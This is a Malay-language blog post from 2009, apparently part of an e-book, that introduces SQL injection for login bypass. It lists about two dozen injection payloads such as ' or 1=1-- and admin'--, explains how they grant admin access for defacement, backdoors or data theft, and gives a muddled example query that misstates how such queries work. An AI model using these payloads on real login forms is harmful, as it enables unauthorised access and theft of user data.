Rabu, 20 Mei 2009

Silat SQL: Pengenalan dan Suntikan Asas Secara Umum

Salam sejahtera semua,

Artikel kali ini akan membicarakan mengenai suntikan SQL. Kelemahan keselamatan laman sesawang berasaskan suntikan (injection flaw) mendapat tempat kedua sebagai kelemahan yang paling banyak ditemui di dalam aplikasi sesawang. [Sila rujuk http://www.owasp.org/index.php/Top_10_2007]. Oleh itu teknik suntikan SQL walaupun nampak remeh, namun hakikatnya berbisa.

Suntikan SQL asas

' or 1=1--

" or 1=1--

or 1=1--

' or 'a'='a

" or "a"="a

') or ('a'='a

'or'1'='1

'or'a'='a

' or 1=1 #

1=1

"1'or'1'='1

1'or'1'='1

' or '1' = '1

admin'--

admin' --

admin' #

admin'/*

' or 1=1--

' or 1=1#

' or 1=1/*

') or '1'='1--

') or ('1'='1--

'or"='


"My password is ' or 1=1--" adalah antara ungkapan yang menerangkan magic quote SQL untuk memintas halangan pengesahan log masuk sama ada pengguna biasa (user) atau pun pentadbir (admin). Daripada memasukkan nama pengguna dan katalauan yang sah, seorang penyerang akan menggunakan ungkapan SQL sebagai galang gantinya.

Contoh:

Nama Pengguna: ' or 1=1 --
Kata Laluan : ' or 1=1 --


Seorang penyerang mungkin dapat memintas pengesahan (authentication) pentadbir dan sekaligus dapat menjalankan tugasan sebagai seorang pentadbir sekiranya sistem log masuk tersebut menggunakan pangkalan data(database). Kelebihan sebagai pentadbir membolehkan seorang penyerang itu mengubah laman sesawang (website defacement), menebuk pintu belakang (planting backdoor), mahupun mencuri data sulit pengguna-pengguna di dalam sistem aplikasi web tersebut.


Mungkin anda semua akan membangkitkan persoalan kenapa dalam suntikan sql, untuk memintas log masuk kita akan gunakan string ' or 1=1--

Bila kita tengok semula, kemungkinan kenyataan yang digunakan untuk log masuk adalah :

SELECT Request.Form("pengguna") and Request.Form("katalaluan") FROM usertable


pemboleh ubah pengguna dan katalaluan digunakan untuk mengambil input yang dimasukkan oleh pengguna.

Dalam kenyataan di atas, sekiranya pengguna masukkan pengguna dan katalaluan yang betul, baru kenyataan tersebut akan dijalankan.

Para penggodam pula akan bermain-main dengan logik kat sini. Bila seseorang penggodam itu memasukkan ' or 1=1--, kenyataan di atas akan berubah menjadi:

SELECT ' or 1=1-- and ' or 1=1-- FROM usertable


tanda tick (') digunakan untuk break(pecahkan) kenyataan sql, tanda -- untuk komen yang bermaksud aplikasi sesawang tidak akan melaksanakan apa-apa kenyataan selepas tanda --.

or bermaksud atau, 1=1 bermaksud kita reka satu kenyataan yang benar, jadi, bila kenyataan sql ni jumpa 1=1 dia akan anggap benar. Sebab inilah yang membolehkan kita memintas log masuk. Kita boleh juga memasukkan 2=2, 3=3, yang penting kenyataan tersebut adalah benar.

Bila kita memintas log masuk dengan cara ni, kita akan dapat masuk dengan kelebihan (privillege) user yang paling atas dalam database. Selalunya pentadbir (admin).

Kenyataan di bawah ini lebih jelas untuk kita semua perhatikan:

SELECT 'id' and 'or '1'='1 and 'or '1'='1 FROM usertable

Bersambung ke Suntikan SQL Asas : MySQL 4 dan MySQL 5

Artikel ini merupakan sebahagian dari buku elektronik (e-book) "Silat SQL" yang merupakan rancangan penulis untuk menerbitkannya dan dilesenkan dengan Metasploit Framework License bagi mengelakkannya dieksploitasi secara komersil oleh pihak yang tidak bertanggungjawab dalam menghargai sumbangan komuniti
sumber terbuka.

Buku ini akan diedarkan secara percuma bagi menghargai konsep sumber terbuka dan falsafah ilmu yang merupakan hakmilik mutlak Yang Maha Mengetahui dan tidak wajar dihakciptakan oleh manusia.

Penulis mengucapkan jutaan terima kasih dan setinggi penghargaan kepada semua ahli HM Security Team terutama kepada Saudara ghimau yang menjadi antara sumber inspirasi penulis dalam dunia komuniti 'securityunderground', Crew,VVIP, VIP dan ahli-ahli biasa HMSecurity. Tidak lupa juga kepada komuniti sumber terbuka di seantero dunia.

Sebarang penyalahgunaan maklumat di dalam artikel ini adalah tanggungjawab mereka yang terlibat dan bukan merupakan tanggungjawab penulis.

1 ulasan:

Tanpa Nama berkata...

u r0x bro!

carian google